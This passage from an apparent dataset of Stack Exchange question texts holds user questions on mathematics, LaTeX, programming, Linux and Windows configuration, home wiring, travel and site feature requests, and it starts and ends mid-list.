$(-1,-1,-1)$. I think these are the only ones but i can't prove it. Am i wrong?, are there more solutions?. Thanks $$ \\left\\{ \\begin{array}{c} x+y-z=-1 \\\\ x^2-y^2+z^2=1\\\\ -x^3+y^3+z^3=-1 \\end{array} \\right. $$", "How do I create an invisible character? I cannot remember how to create an invisible character in LaTeX, i.e. I want to put a space that has the width of a particular character, say `M'. I know there is a command for this, and this is a really dumb question, but my Google-fu has failed me." ]

[ "It seems Microsoft has tried to solve this problem . In Windows 7, there is no boundary between monitors and the mouse can move freely across the top of the screen between my 3 monitors, provided I had set their heights equal in display settings. Windows 8 introduced sticky corners. See . Windows 10 got sticky corners as well. There are a few pixels at the top corners of each display where the mouse cannot cross over onto the other display. One must move the cursor down to avoid this region in order to get to the next display. The image shows roughly the region where mouse movement is not permitted in Windows 10, but is allowed in Windows 7. Personally, I had no problem with unrestricted mouse movement across the top of my screens - I got used to \"aiming\" for the x, and the convenience of unrestricted cursor movement. Like all the people who wanted to disable it in W8, I'm wondering if there is a way to disable it in W10. Edit to address possible duplicate: Although the problem is identical to the one in , solutions to solve the problem in W8 involving editing the registry key MouseCornerClipLength do not work in W10, since that registry key is not present in W10. Also adding that key and setting the value doesn't work. I searched the entire registry and couldn't find it in another location. No other W10 keys in the node referenced in the W8 solution are obvious replacements. Edit to address possible solutions in comments harrymc's and that worked for for Windows 8.1 do not work in Windows 10.", "PHP: Return all dates between two dates in an array", "Can you grammatically end a sentence with \"with\"? Do you want to come with? Can I come with? I seem to hear this construction more often in recent years, but it still grates on my ear. I know it's often said that one shouldn't , but I class that rule along with (i.e. — pedantic tosh). Is it always informal/casual speech to end a sentence with "with"? Was it ever thus?", "Visual Studio Solutions Folder as real Folders I have a Visual Studio Solution. Currently, it is an empty solution (=no projects) and I have added a few solution folders. Solution Folders only seem to be \"virtual folders\", because they are not really created in the Filesystem and files inside solution folders are just sitting in the same folder as the .sln file. Is there a setting that i've overlooked that tells Visual Studio to treat Solution Folders as \"real\" folders, that is to create them in the file system and move files into it when I move them inside the solution into one of those folders? Edit: Thanks. Going to make a suggestion for VS2010 then :)", "How to change Status Bar text color in iOS", "I am writing pseudo code in the algorithmic environment. It is quite long and doesn't fit on one single page. Instead of it continuing on the next page, it is cut off. I tried inserting it into a figure environment, but the problem persists. Is there a solution to have the code continue on the next page?", "Is the possessive of \"one\" spelled \"ones\" or \"one's\"? I've been confused about this as long as I can remember. Should it be: One should do ones duty. or One should do one's duty. I'm guessing it should be the latter. But that doesn't sit well with the possessive pronoun 'its'. For example: It is its own purpose. vs. It is it's own purpose. Here, the former seems clearly correct.", "A graph $G$ is bipartite if and only if $G$ can be coloured with 2 colours", "Java inner class and static nested class What is the main difference between an inner class and a static nested class in Java? Does design / implementation play a role in choosing one of these?", "ConTeXt: Flush right formula numbers in cases environment I would like to have the formula numbers of the cases environment flush right like regular formulas (not at a fixed distant from the cases like it is by default with the default setting numberdistance=2.5\\emwidth). How can I do that? \\starttext \\startplaceformula \\startformula \\startcases \\NC x = 1 \\NR[+] \\NC y = 1 \\NR[+] \\stopcases \\stopformula \\stopplaceformula \\stoptext What I want (but with the left bracket): \\starttext \\startplaceformula \\startformula \\startalignment[n=1] \\NC x = 1 \\NR[+] \\NC y = 1 \\NR[+] \\stopalignment \\stopformula \\stopplaceformula \\stoptext", "If $\\lambda_{max} = n$, then $n\\times n$ positive, reciprocal matrix A is consistent At the end of . the author states that Suppose we have $n \\times n$ matrix $A$ having only positive elements and satisfying the property $a_{ij}=1/a_{ji}$ (a matrix satisfying this property is called a reciprocal matrix). If its largest eigenvalue $\\lambda_{max}$ is equal to $n$, then the matrix $A$ satisfies the property (consistency property) $a_{ij} a_{jk} = a_{ik}$ where $i,j,k=1,2,...,n$. I'm not convinced this theorem is true. Could anyone help?", "iCloud has sucked up all my laptop's files - can you transfer files directly from iCloud to Google Drive? I'm trying to disconnect my macbook from iCloud, as it's been creating some problems. I was told by an Apple Support employee that doing so is only recommended once you've backed up everything from your Mac somewhere, to ensure you don't lose any files - so my goal is to upload everything to Google Drive before messing with my laptop's iCloud settings. The problem is, almost none of the projects that I want to back up to Google Drive are truly on my laptop - instead I mostly just have folders full of file names, which are placeholders for the real files that have been sucked into iCloud. This means I have to re-download everything to my computer before uploading it all to Google Drive. Another crucial piece of information is that I only have 1 GB of storage left on my macbook, which prevents me from re-downloading any complete projects/folders at a time. So unfortunately my current method is this: downloading 1-5 files at a time, uploading these few things to Google Drive, deleting the copies from my laptop and trash, repeat (thousands of times). So, I was wondering if anyone could offer any alternative methods for uploading stuff to Google Drive in this situation - for example, is there a way to transfer files directly from iCloud to Google Drive without having to download them to my laptop first? I should probably mention that I've scoured my laptop for duplicated files and applications I no longer use, make sure to empty my trash regularly, etc (I also asked Apple Support to help me make sure I wasn't missing out on any other ways to maximize storage space). The most obvious culprit of my lack of space is the massive 150 GB iCloud folder on my laptop, which appears to contain duplicates of everything on my computer. I can't seem to do anything about it until I've disconnected from iCloud itself (its reasons for existence are unclear to me in the first place...but that's beside the point lol).", "For all $x,y\\in\\mathbb{R}$ define that $x\\equiv y$ if $x^{2}=y^{2}$ . Then $\\equiv$ is an equivalence relation on $\\mathbb{R}$ , there are infinitely many equivalence classes, one of them consists of one element and the rest consist of two elements. Solution True. To show that \\equiv is reflexive we need to show that \\forall x\\in\\mathbb{R} :x=x. Let x\\in\\mathbb{R} , x\\equiv\\mbox{\\ensuremath{x}} if x^{2}=x^{2}, which is obvious. [x] ={y\\in\\mathbb{R} |x\\equiv y} =[0]={y\\in\\mathbb{R}|0\\equiv y}={0} . Hence y^{2} =0^{2} =0 which implies that y=0 .", "How do I change my username? Some time ago, when I installed Ubuntu, I chose a rather stupid username for my account that I do not want to use anymore. How do I change this (including the name of my home directory, and the name in the terminal) without losing settings for applications? How do I keep permissions and my keys for various authentification (e.g. email, SSH, GPG and more)? What settings could possibly get lost if I changed my username?", "Suppose, I want to refer multiple equations (1), (2), (3), (4), (5) and (7) so that they appear as (1-5, 7): \\documentclass[fleqn,preprint,10pt]{article} \\usepackage{amsmath} \\usepackage{amssymb} \\usepackage{amsfonts} \\begin{document} \\begin{align} \\label{1}\\psi([e_1,e_2]) = \\psi(e_2) = e_2 = (e_2,2e_3) = (-2e_3,e_2) = (\\psi(e_1), \\psi(e_2))\\\\ \\label{2}\\psi([e_1,e_3]) = \\psi(2e_3) = 2e_1 = (e_1,2e_3) = (-2e_3,e_1) = (\\psi(e_1),\\psi(e_3))\\\\ \\label{3}\\psi([e_2,e_3]) = 0 = (e_2,e_1) = (\\psi(e_2),\\psi(e_3)),\\\\ \\label{4}\\left\\{e_4, e_1\\right\\},\\,\\,\\,\\left\\{e_4, e_2\\right\\},\\,\\,\\,\\left\\{e_4, e_3\\right\\},\\,\\,\\,\\left\\{e_4, e_1+\\epsilon\\,e_2\\right\\},\\\\ \\label{5}\\left\\{e_1, e_2\\right\\},\\,\\,\\,\\left\\{e_3, e_1\\right\\},\\,\\,\\,\\left\\{e_3, e_2\\right\\},\\\\ \\label{6}\\left\\{e_4, e_1\\right\\},\\,\\,\\,\\left\\{e_4, e_2\\right\\},\\,\\,\\,\\left\\{e_4, e_3\\right\\},\\,\\,\\,\\left\\{e_4, e_1+\\epsilon\\,e_2\\right\\},\\\\ \\label{7}\\text{Nor}_{L_4\\oplus L_3}\\left(\\{e_2\\}\\right)/\\{e_2\\}=\\,\\{e_1, e_3, e_4\\} \\end{align} \\end{document}", "Determine the exact value of equations involving more two trig variables $2\\cos^2x=1+\\sin x$. Determine the exact values of $x$ such that $0 \\leq x \\leq 2\\pi$. I am experiencing problems with factoring this question. First I started by getting everything on to the left side so: $2\\cos^2x-\\sin x-1=0$. Then seeing as there are two trig variable here ($\\cos$ and $\\sin$), I used the pythagorean identity and replaced $2\\cos^2x$ with $1-2\\sin^2x$ to make it into a one variable question: $1-1-2\\sin^2x-\\sin x-1=0$. By collecting like terms it then becomes $-\\sin^2x-\\sin x=0$. Now you could factor these with $0$ and $-1$, but then it creates uneven brackets so this musn't work. I don't think the quadratic formula is necessary, but I am wondering if this could be treated as a difference of squares question. If you replace the $\\sin x$ and make the question into $-x^2-x=0$ it is a little easier to look at, however I am not sure if this is the right approach. If someone could please clarify my answer, that would be appreciated!", "I only ask questions. Am I unwanted? Possible Duplicate: I've been for maybe a year to get answers to questions I couldn't find on my own. I always make an attempt first to find the answer on my own. As of this posting, I've asked 14 questions. I only once gave an answer, and it was to a non-technical question, and only because I was really bored and had too much coffee to drink. I wasn't intending to answer any other questions in the future, because on on my best days I'm only a mediocre programmer, and there are some real geniuses here on StackOverflow who can answer other peoples' questions faster and more accurately than I can. It actually is my nature. I am an Aquarian. We are asker-listeners. Today I discovered Meta Stack Overflow and started browsing around. I became familiar with the concept of the \"Help Vampire\". I seem to qualify. I continued reading more posts on the topic and got the distinct impression that people who only ask, and never answer, are less than welcome here, rather despised. So, should I just go away? Or should I start contributing answers just to have a answer-to-question ratio of 3-to-1 (I read somewhere that's the average) even though I am less than one eighth as knowledgeable as the 10K+ guys and gals? Or should I continue as I have begun? I mean, doesn't a 0-questions-asked user like Jon Skeet need a Blankman? Yin and yang, you know?", "How does gravity escape a black hole? My understanding is that light can not escape from within a black hole (within the event horizon). I've also heard that information cannot propagate faster than the speed of light. It would seem to me that the gravitational attraction caused by a black hole carries information about the amount of mass within the black hole. So, how does this information escape? Looking at it from a particle point of view: do the gravitons (should they exist) travel faster than the photons?", "If \"clearly evident\" is redundant, what word or phrase suggests being indisputable but not readily apparent? A asks whether the modifier \"clearly\" changes the meaning of \"evident\". I would have said, prior to examining a few dictionaries, that evident did not necessarily mean readily apparent, but to my surprise it does. This brings me to ask what word or expression would mean something can be taken as a true fact, but not through an easily constructed (not obvious or readily apparent) rationale? For example, if Sherlock Holmes says something is true while everyone else is still sitting on their hands, then it is evident to Holmes, but not to the rest of the world. So, from everyone else's point of view, it is not readily apparent, and (by definition) apparently it is not evident, clear, or clearly evident at all, based on the dictionary definitions. But (let's stipulate) it is true and deducible from the observable evidence. What would we call this? Update An update is highlighted above. I can see from some of the answers and comments that I may have gone off my mark with the phrase \"not through an easy-to-follow rationale”, and I have modified the question to correct this. I understand that there can be rationales, arguments, or proofs that, once explained, may or may not be easy to follow. What I intend is that the rationale to support the indisputable conclusion is not (initially) easy to recognize or construct (not readily apparent) in the first place. I apologize for the confusion. (The original can be seen in the change history.) Update 2 Shortly after offering a bounty to this request, I recalled a single word that I now believe is a very good match to the parameters specified in this inquiry as it is stated above. That word has not yet been suggested (or approached) by any answer or comment (active or deleted) at the time of this edit. This request is changed to a single word request. (However, if you feel a single word fits well but not without some additional supporting words, please offer your thoughts in an answer.) While my curiosity for the term has already been met, the request and bounty remain as an open challenge. I will post my own answer once the bounty has expired and been awarded.", "Minimal $ab$ for Rational Number $a/b$ in an Interval Given rational numbers $L$ and $U$, $0<L<U<1$, find rational number $M=a/b$ such that $L \\le M<U$ and $(a\\times b)$ is as small as possible---$a$ and $b$ are integers. For example, If $L=66/101$ and $U=19/29$ then $M=17/26$. If $L=66/101$ and $U=19/28$ then $M=2/3$. Right now I'm using a naive search that is exponential in complexity. Is there a better method? If it is of any help, it can be assumed the prime factorization of numerator and denominator of $U$ and $L$ are known." ]

[ "Add a UIButton as a subview to a UITabBar", "What are quarks made of? So atoms are formed from protons and neutrons, which are formed from quarks. But where do these quarks come from? What makes them?", "How can I install software or packages without Internet (offline)?", "Ok, I have to admit, I don't really delve too deep into the semantics of the spatial operators list below, I'm more of a user, I write software to drive the SQL most of the time and don't really think about it too much. However, I have a situation where a spatial operation I'm doing is going dog slow, on a table that has great indexes on and has never caused a problem before now. As a result, I'm trying to figure out which of the following is my best bet to use, that will give me the best performance, however, sometimes I find my searches don't return anything when I know they should, and sometimes return stuff when they shouldn't. SO I'm reaching out, to ask if some one can give me the actual definition, such as criteria to match, fully within enclosing geometry, or within outer ring etc etc of each of the following operations: Equals(Geom1, Geom2):int Disjoint(Geom1, Geom2):int Touches(Geom1, Geom2):int Within(Geom1, Geom2):int Overlaps(Geom1, Geom2):int Crosses(Geom1, Geom2):int Intersects(Geom1, Geom2):int Contains(Geom1, Geom2):int Relate(Geom1, Geom2):int If you can give a concrete example of when they will and will not match too, that would be great. For reference, I'm searching on a table of Linestrings, using a rectangular polygon, rotated to be pointing in the direction of travel (It's part of a traffic managment app) For further reference, here is a sample of the SQL the app generates to perform a search: SELECT recordID,AsBinary(geometry) AS geometry,Distance(GeomFromText('POINT(-1.84101 54.85078)',4326), geometry) AS distanceFromGps FROM linegrid WHERE Intersects(GeomFromText('POLYGON ((-1.8413149820810311 54.850782468607292, -1.8409507853094111 54.850952257034713, -1.8408279009723911 54.850864894077496, -1.8411920982612455 54.850695105650068, -1.8413149820810311 54.850782468607292))'), geometry) You can see in this example I'm using intersects trying the others as mentioned doesn't quite give the results I expect, hence why I'm asking the question. Please note, I'm not particularly bothered about actual faster/other ways of doing this at the moment, BUT if you do happen to spot a better way do feel free to shout up :-) For now all I'm mostly trying to understand is the differences between each of the operations. As for doing it faster/better I intend to open a different question for that at a later date. For more reference, the Spatial engine this is working against is Spatilite 2.3.0, and I can't upgrade it due to the devices it's running on not having a more up to date build for it (Windows CE) I'm going to choose mintix'es answer here as that provided a super easy to understand grid and description of all the various operations, which answered my question. I'm still faced with getting performance on the routines up, but I do now have a few strategies to try on that one, I may still seek advice here from the group with regards to that. @Vince deserves some credit too, as that white paper is definitely the definitive answer, but it's also quite challenging to read (I had to read through it several times) , for anyone wanting the real I am on these operations The Clementini paper is the way to go, if you need an easy to understand overview while developing solutions however, the FME link should be open in another browser tab.", "I'm going to mount my 47\" LCD above my fireplace. I'm not looking for arguments against this decision. I'm looking for wiring solutions. The diagram below should help explain the situation. _________________________________________________ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | p | | m | | | | | | | | | | | | | | | | | | | | ################# | | | | | | ## ## | | | | | | ## ## | | | | P| | ## ## m | |P C | |_____|_____|____##_____________##____|_____|_____| | = stud # = fireplace brick P = existing power outlet C = existing cable outlet p = new power outlet m = new media outlet Essentially, there is an existing power outlet on either side of the fireplace and a cable outlet on the far right side of the fireplace. I'm intending to put my non-TV media equipment on the right side of the wall and the television above the fireplace. This means I need two things above the fireplace: power and HDMI. I don't want to just run an HDMI cable in the wall. I'd prefer to have some sort of conduit to simplify replacing the cable or having a second (with one of these on each end: ). I only need to drill through two studs that are 6\" apart above the right side of the fireplace in order to access the vertical space where I want the other end. For the power, I need to drill through two 6\"-spaced studs above the left-side of the fireplace, but then another 2 full-height studs. There are a couple of caveats: This is an externally facing wall, which means there's insulation. I'm assuming this will make things more difficult. I'd like to refrain from cutting more holes in the wall than is necessary for the outlets (to reduce drywall damage/repair). I've considered a couple of options: Cut the openings for the outlets above the fireplace, and use a flexible drill bit to drill through the studs above the fireplace. This minimizes dry-wall damage, but how difficult is this with insulation in the wall, how can I feed the conduit through those holes, and how would I drill through the full-height studs on the left for power? Cut a wide section of dry-wall (4\" high?) from the desired media outlet to the right until reaching the gap above the desired lower outlet. This results in some dry-wall damage, but would allow more control for drilling holes in the studs and running conduit. This still doesn't solve the problem of getting through the full-height stud for the power. For the power, I would need to extend the cut-out two studs further. What should I do?", "How to remove white space before reference?", "What should my Objective-C singleton look like? My singleton accessor method is usually some variant of: static MyClass *gInstance = NULL; + (MyClass *)instance { @synchronized(self) { if (gInstance == NULL) gInstance = [[self alloc] init]; } return(gInstance); } What could I be doing to improve this?", "How does Linux handle multiple consecutive path separators (/home////username///file)?", "How to use (home) brew install python 3.6.5_1 I am trying to install python 3.6.5_1 using Homebrew by running the following: $ brew install https://raw.githubusercontent.com/Homebrew/homebrew-core/f2a764ef944b1080be64bd88dca9a1d80130c558/Formula/python.rb I am getting the following error: Error: python contains a recursive dependency on itself: python depends on sphinx-doc sphinx-doc depends on python How do I deal with it?", "SQL Servers has Traces and XEvents. These are used to capture and analyze what is going on with our SQL Server Instances. Events are stored in the stack for later analysis. For example, If I decide to monitor any dead lock in the database, I just query the trace file to see the history of deadlock for a period of time. Here is my question: While events occur, in our example deadlock event, is there a way to get an email notification using msdb.dbo.xp_send_dbmail?", "Is stopwatch benchmarking acceptable? Does anyone ever use stopwatch benchmarking, or should a performance tool always be used? Are there any good free tools available for Java? What tools do you use? To clarify my concerns, stopwatch benchmarking is subject to error due to operating system scheduling. On a given run of your program the OS might schedule another process (or several) in the middle of the function you're timing. In Java, things are even a little bit worse if you're trying to time a threaded application, as the JVM scheduler throws even a little bit more randomness into the mix. How do you address operating system scheduling when benchmarking?", "What's the best way of replacing a plug or switch in a house with aluminum wiring?", "Avoiding the second leg of an international flight - different rates for a return ticket? Possible Duplicate: I am in the process of booking a flight from LAX - ZUR. I found a flight for approx. 1100 USD. However, if I book that flight and then continue, after a 5 hour layover, onward to SVO, The flight is approx. half of the initial price, and the first leg of the second flight is the exact same flight as the first booking. Assuming I travel light and do not check any baggage, are there any potential issues with this? Seems like a hell of a way to save a good chunk of change.", "Allow folding/collapsing of certain segments of posts A question with attachments, screenshots and/or long code, makes it vertically long and often difficult to read fast. It would be nice to have a new kind of format, such as 'hideable', with a graphic button or a '+' / '-' sign, so you can add additional details, visible only on a click.", "What is the string concatenation operator in Oracle? What is the string concatenation operator in Oracle SQL? Are there any \"interesting\" features I should be careful of? (This seems obvious, but I couldn't find a previous question asking it).", "Whey I try to run the program Layout Editor (available on ) on Ubuntu 14.04.1 64-bit LTS I get the following output in the terminal: $ layout layout: /usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.20' not found (required by layout) I tried the command strings on /usr/lib/x86_64-linux-gnu/libstdc++.so.6 as following and here is the input and the output: $ strings /usr/lib/x86_64-linux-gnu/libstdc++.so.6 | grep GLIBCXX GLIBCXX_3.4 GLIBCXX_3.4.1 GLIBCXX_3.4.2 GLIBCXX_3.4.3 GLIBCXX_3.4.4 GLIBCXX_3.4.5 GLIBCXX_3.4.6 GLIBCXX_3.4.7 GLIBCXX_3.4.8 GLIBCXX_3.4.9 GLIBCXX_3.4.10 GLIBCXX_3.4.11 GLIBCXX_3.4.12 GLIBCXX_3.4.13 GLIBCXX_3.4.14 GLIBCXX_3.4.15 GLIBCXX_3.4.16 GLIBCXX_3.4.17 GLIBCXX_3.4.18 GLIBCXX_3.4.19 GLIBCXX_DEBUG_MESSAGE_LENGTH How can I resolve this issue I somehow guess that it is related with GCC but cannot figure out how to fix the problem. Furthermore, I have tried a PPA as suggested on and there is a similar question for an older version of Ubuntu at . However, after I ran sudo update I get numerous warnings and the list I obtained with the strings command did not have new entries after installing gcc 4.9, so I purged the PPA() with ppa-purge. Any help, suggestions on how to proceed are greatly appreciated.", "Beamer itemize not aligned when in blocks While making a poster, I've got two columns with blocks with itemize inside them. MWE: \\documentclass[final]{beamer} \\mode<presentation>{} \\usepackage{times} \\usepackage{amsmath,amssymb} \\usepackage[english]{babel} \\usepackage[latin1]{inputenc} \\begin{document} \\begin{frame}[t]{} %\\leavevmode \\begin{columns}[t, onlytextwidth] \\begin{column}{.5\\linewidth} \\begin{block}{Contributions} \\begin{itemize} \\item First Item \\item Second Item \\end{itemize} \\end{block} \\end{column} \\begin{column}{.5\\linewidth} \\begin{block}{Approach} \\begin{itemize} \\item First Item \\item Second Item \\end{itemize} \\end{block} \\end{column} \\end{columns} \\end{frame} \\end{document} My local installation and ShareLaTeX would misalign the bullets(baselines added by me): This problem seems similar to: But this time it happens when itemize is inside the block. If one removes the blocks it works fine. Am I missing something or does it look like a Beamer bug? Thanks! I'm a LaTeX noob, sorry if I missed something stupid.", "I am an Indian student in France on a 6 month visa for an Internship. Currently I don't have my passport with me as I have applied for UK visa and am not hoping to receive it back in next 10 days. I was wondering if I can travel to Germany without my passport in hand. The documents I can carry are a photocopy of my passport's identity page, Residence proof here, proof of Internship in France,Indian national identity card, receipt from UK embassy stating my visa application. Please note that I do NOT have a photocopy of French visa page.", "Feature request: Add pronouns to usercards? One of the questions people have raised about the new rules about pronouns is how users will know what pronouns are preferred. We've had a trolling question which got when the user included their preferred pronouns at the bottom of the question, and I agree that particularly on Stackoverflow (rather than sites like Interpersonal Skills or Workplace), this should be considered as 'noise' since it isn't the strict Q&A this site is about. (The codez should work whatever your gender). Currently, the suggested way of displaying your pronouns is to put it in your profile's 'About Me' section. However, this is suboptimal, since it requires opening a new page. I suggest adding a 'preferred pronouns' field in the user profile, and displaying this on a user's usercard. There's currently a 'new contributor' label, so it could be similar to that, with she/her pronouns or whatever they choose. In comments, it could be appended to the reputation score that currently gets shown when you hover over a name: 4,305 reputation, she/her pronouns The default would be blank. No flair updates, no hover-in-comments update. If a user fills in this field in their profile, then it will show.", "How can I share files over a Windows network? I have a media computer which I recently reformatted to Ubuntu 10.04. I am probably just missing something obvious but I can't figure out how to share folders and files, so that I can browse to them on my Windows computers in order to copy files to/from the computer. How do I do this?" ]

[ "Where's the problem in this equation? Resulting in $4 = 5$ I just saw this equation and I can't find out where's the problem: $$25-45 = 16-36$$ $$25- 2 \\cdot 5 \\cdot \\frac{9}{2} = 16- 2\\cdot4\\cdot\\frac{9}{2}$$ $$25 - 2\\cdot 5\\cdot \\frac{9}{2} + \\frac{81}{4} = 16 - 2\\cdot 4 \\cdot \\frac{9}{2} + \\frac{81}{4}$$ $$\\left( 5-\\frac{9}{2} \\right) ^2 = \\left (4-\\frac{9}{2} \\right) ^2$$ $$5-\\frac{9}{2} = 4 - \\frac{9}{2}$$ $$5=4$$", "What is the easiest way to resolve apt-get BADSIG GPG errors?", "Show timestamp of a vote in the tooltip when mousing over it Sometimes I come across an old question or answer that I voted on in the past, but I don't clearly remember when (or sometimes even why) I voted it up or down. Being able to see the date/time that I cast a vote would help me remember my mindset at the time. When mousing over the toggled vote, the tooltip reads the same as if I hadn't voted, with no further information. For example: This answer is useful (click again to undo) The only way to get the timestamp is if I try to click the vote to undo it and get the locked vote message: You last voted on this answer [datetime] Your vote is now locked in unless this answer is edited However this requires me to guess that the vote is locked - if there was an edit since then I'll actually undo the vote and erase the info I was looking for. Feature request: Please add the vote timestamp to the tooltip when mousing over a cast vote. This is already done with the green acceptance checkmark for example.", "Apache and systemd I've just started using Debian 8 which has introduced systemd. I'm not interested in the politics around SysV vs systemd, but I am confused, especially around Apache (2.4). There are now two ways to restart apache: apache2ctl restart or apache2ctl graceful systemctl restart apache2 and it seems systemctl restart apache2.service does the same thing. And they appear to do different things(!). I don't understand the difference. I seem to need to do both to get a proper full restart working. e.g. after changing a config file for the php module it only noted the change after both. Another time when apache2ctl configtest was failing and the failure was reported in systemctl status apache2 I fixed the config so that the first of these commands was happy, restarted with apache2ctl restart but the systemd status command still listed it as not running and with the old config problem. I promise to spend ages reading about systemd (RTFM) in depth at some point, but meanwhile on a practical level relating to apache, I'd appreciate advice.", "This came up to me while I was reading the question about Magical being using firearms in battle to raise their power (which I think I have a good answer for, but it's too long to fit in this question... and it would also be inappropriate). Anyways, I was reading it and then the following thought came into my mind: If wizards decided to use guns on their battles (the ones agains Voldemort for instance), that would create that opening for much bigger battles than we see in the books (after all even a muggle can fire a gun, so lots of guns + the Imperio curse, and presto manifesto (is that racist? talking about wizards and all) you have yourself an army). Those kinds of battles, however, would most definitely not go unnoticed by the muggles - even though they wouldn't be able to link it to magic. Well, that thought brought up my one and final question, which I bring forth to you guys. Is there any mention on how the Wizards and Witches viewed the two world wars (which had taken part by the time Harry got to Hogwarts, and which he had probably heard about in muggle school), and what was the Wizards' part in it? What about the cold war? Did the magical world even recognise the existence of weapons such as nukes, which could render all life on earth extinct? EDIT DVK has brought up an regarding the connections between the Second World War and the wizarding world (more specifically, the wizard Grindelwald). Although it doesn't fully answer my question, it does help by showing that there was indeed some form of connection between the two world at the time.", "How to make beveled 90 degree corners on a curve better? I know the title is a mouthful, but this is the problem: I made a curve with 90 degree corners, like so: I then beveled it, and this was the result: As you can imagine, this isn't very pretty. I'm looking for something like this: How can I achieve this look?", "Change MAC address in OS X Yosemite", "Suppose that I have a group $G$ of order $p^{2}q$ for two distinct primes $p$ and $q$. I need to first show that one of its Sylow subgroups is normal. I start by letting $H$ be a Sylow $p$-subgroup and $K$ be a Sylow $q$-subgroup. If $K$ is not normal, then letting $r$ denote the number of Sylow $q$-subgroups, I have that $r|p^{2}$ and $r\\equiv 1$(mod $q$). I also have by the second Sylow theorem that $r\\neq 1$. So $r = p$ or $p^{2}$. If $r = p^{2}$, I can write out the Sylow $q$-subgroups, and count their combined elements to show that $H$ is uniquely determined and then again imply Sylow number $2$ to obtain that $H$ is normal. But if $r = p$, then I cannot see how to proceed. Can anyone give any advice? Thank you. ( I am happy to provide more detail for the $r = p^{2}$ case if it is desired or appropriate. )", "FFmpeg lossy compression problems", "How to combine two jQuery results How do you combine two jQuery search results? eg: var $allFoos = $('.foo'), $allBars = $('.bar') $allFoosAndBars = $allFoos + $allBars; Obviously, I just made up that last line, but I hope it makes it sorta clear what I mean. To be clear, the example is greatly simplified, and it could be any arbitrary sets i'm talking about, so $('.foo, .bar') is not what I'm after.", "How do I sort a dictionary by value?", "Progressive Draw 2 and Draw 4 Uno When playing with progressive Draw 2 and Draw 4 and (say that there are 2 players playing) and Player 1 goes out with a Draw 2 Player 2 puts down a Draw 2 Does player 1 have to pick up 4 cards?", "The equivalence between Cauchy integral and Riemann integral for bounded functions Definitions Suppose $P\\colon a=x_0<x_1<\\dotsb<x_n=b$ is a partition of $[a,b]$. Let $\\Delta x_k=x_k-x_{k-1}$ and $\\lVert P\\rVert$ denotes $\\max_{0<k\\le n}\\Delta x_k$. The Cauchy integral of a function $f$ on closed interval $[a,b]$ equals to $I$ if and only if for each $\\epsilon>0$, there's some $\\delta>0$, for each partition $P$ of $[a,b]$ such that $\\lVert P\\rVert<\\delta$, we have $\\left\\lvert\\sum_{k=1}^nf(x_k)\\Delta x_k-I\\right\\rvert<\\epsilon$. Problem If $f$ is bounded on $[a,b]$ whose Cauchy integral equals to $I$, then $f$ is Riemann-integrable and $\\int_a^bf=I$. Background It's an exercise from our calculus(analysis) problemset book, and there's a hint: consider the partitions whose $x_k-x_{k-1}$ is a constant for different $k$'s, and try to estimate the Riemann sum for each of these partitions through the Cauchy integral. I have no idea about such estimation. After drawing some pictures, I discouraged. I googled on the Internet and found an . I realized that it's a quite different approach and with some advanced techniques (such as the analysis of a positive measure set -- discontinuities). I hope there will be some simpler approachers, just as the hint says. I need a more detailed hint, or a solution. Can anybody help me? Thanks!", "Is it possible to add a user and restrict him to run special programs? For example after this user logs in, he can only open Firefox to use Internet and no other programs can be run by this user. For example in a terminal, commands will not be accessible when you delete some environment variables like $HOME. But is it possible to avoid running programs in a graphical shell, like Gnome? If yes, how?", "select all rows with a minimum value", "Erf as term for plot of land in a town or city. Is this word only used in southern Africa?", "++ is dangerous for C programmers", "Show that the set $\\mathbb{Q}(\\sqrt{p})=\\{a+b\\sqrt{p}; a,b,p\\in\\mathbb{Q},\\sqrt{p}\\notin \\mathbb{Q}\\}$ is a field I am having a little trouble proving that for each non-zero $b\\in\\mathbb{Q}(\\sqrt{p})$, there is $d\\in\\mathbb{Q}$ such that $b\\cdot d=1$. My attempt: Let $b=a_1+b_1\\sqrt{p}$ Let $d=a_2+b_2\\sqrt{p}$ We want $$b\\cdot d=(a_1+b_1\\sqrt{p})(a_2+b_2\\sqrt{p})$$ $$=a_1a_2+a_1b_2\\sqrt{p}+a_2b_1\\sqrt{p}+b_1b_2p$$ $$=(a_1a_2+b_1b_2p)+(a_1b_2+a_2b_1)\\sqrt{p}$$ $$=1$$ Am I following the right approach? What should be my next step", "I'm looking into developing an ordering app for a potential client. The main part that I'm concerned about in this question is the payment mechanism. I would assume that there are already multiple plugins or similar programs out there, but I'm not sure where (or if) I should be asking for recommendations.", "Is there any way to add an ePub book to iBooks without iTunes? I purchased a book and have it in ePub and PDF formats. I can easily add the PDF to iBooks from Safari. However, I can't find a method to get an ePub book into iBooks without iTunes. I'm away from my laptop with iTunes where my iPhone syncs, so that's not an option at the moment. Is there anyway to add an ePub book to iBooks without iTunes?" ]

[ "I've been looking around and I can't seem to find an automatic (i.e. buzz- or Twitter-like) way to follow users inside Stack Exchange. Why haven't the developers added such a feature? It could help beginner users follow other beginners with the same interests. We would be able to learn from each others' questions and pitfalls. Also, it would reduce double posting.", "I'm trying to find the birth certificate of my wife's great grandmother who was probably born in Durban, South Africa in 1884. I'm currently unable to find any online resources for this. If such a thing does not exist online, is there any other method of retrieving a copy or at least just the details?", "How to filter by messages, not by conversation? I have been emailing my Gmail account error messages from a project I am working on. I am trying to use Gmail filters/labels to sort out the class of errors. But because the subject line is basically always the same even if I have a specific filter for 3 known error cases, the label is applied to the conversation, instead of the specific message. Therefore, all the errors get all the filters. I do not yet want to delete the errors, but would rather file them separately. I have not yet used the NOT contains string yet, but that looks to be non-scalable as I get to the fourth or fifth error case I am done with handling. Is there any option other than turning off Conversations for all my email? (I guess I could use one of my spare accounts to turn off conversations and do the work there but would be nice to have such an option).", "How do I root my Android device? This is a common question asked by those who want to root their phones. How exactly do I root my Android device? Are there risks involved?", "No cycle containing edges $e$ and $g$ implies there is a vertex $u$ so that every path sharing one end with $e$ and another with $g$ contains $u$ There is a proof in my textbook for the following claim, which doesn't make a whole lot of sense to me. My annotations are in bold. Could someone perhaps elaborate on what's going on? Claim. If there does not exist a cycle containing edges $e$ and $g$ then there exists a vertex $u \\in V (G)$ such that every path in $G$ sharing one end with e and another with $g$ contains $u$. Proof: The claim trivially holds if $e$ or $g$ is a loop OK, so we assume that neither is. Let $P$ with vertex set $v_1, v_2, . . . , v_k,$ in order, be a path with $e$ joining $v_1$ to $v_2$ and $g$ joining $v_{k−1}$ and $v_k$. Let $f_i \\in 